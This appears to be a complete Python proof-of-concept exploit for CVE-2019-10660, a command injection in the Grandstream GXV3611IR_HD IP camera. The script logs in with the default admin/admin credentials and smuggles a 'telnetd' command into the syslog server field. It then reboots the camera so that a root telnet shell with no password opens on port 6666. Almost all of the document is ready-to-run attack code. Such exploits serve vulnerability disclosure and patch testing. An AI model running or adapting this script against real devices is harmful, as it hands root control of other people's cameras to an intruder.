#!/usr/bin/env python
"""
CVE-2019-10660: Grandstream - GXV3611IR_HD (IP Camera) Authenticated RCE
Author: Brendan Scarvell
Vulnerable versions: < 1.0.3.23

Post authentication command injection vulnerability exists in the `logserver` parameter.
The specified command will then run when the device next starts up.

telnet to device on port 6666 as root. root account has blank password.
"""
import sys, requests, sys, subprocess

if len(sys.argv) == 1:
    print "Usage: {} <host>".format(sys.argv[0])
    sys.exit()

host = sys.argv[1]

# credentials to login to camera
user = "admin"      # default: admin
password = "admin"  # default: admin

do_reboot = ""
telnet_port = 6666
cmd = "telnetd$IFS-p{}".format(telnet_port) # command to run when the device starts up

def pwn():
  r = requests.get("http://{}/goform/systemlog?cmd=set&logserver=127.0.0.1;{}&loglevel=4".format(host, cmd), auth=(user,password))
  return False if r.status_code == 401 else True

def reboot():
  requests.post("http://{}/goform/maintenance?cmd=set&restart=yes".format(host), auth=(user,password))

print "[*] Setting bad syslog server"
success = pwn()

if not success:
   print "[!] Failed. Incorrect credentials."
   sys.exit()

while do_reboot not in ['y','n','yes','no']:
    r = requests.get("http://{}/goform/systemlog?cmd=get".format(host, cmd), auth=(user,password))
    do_reboot = raw_input("[*] Reboot required. Reboot camera now? [y/n]: ")

if do_reboot == 'y' or do_reboot == 'yes':
    print "[*] Rebooting.."
    reboot()

print "[*] Finished. telnetd will be started on port {} after reboot. login as root with no password.".format(telnet_port)
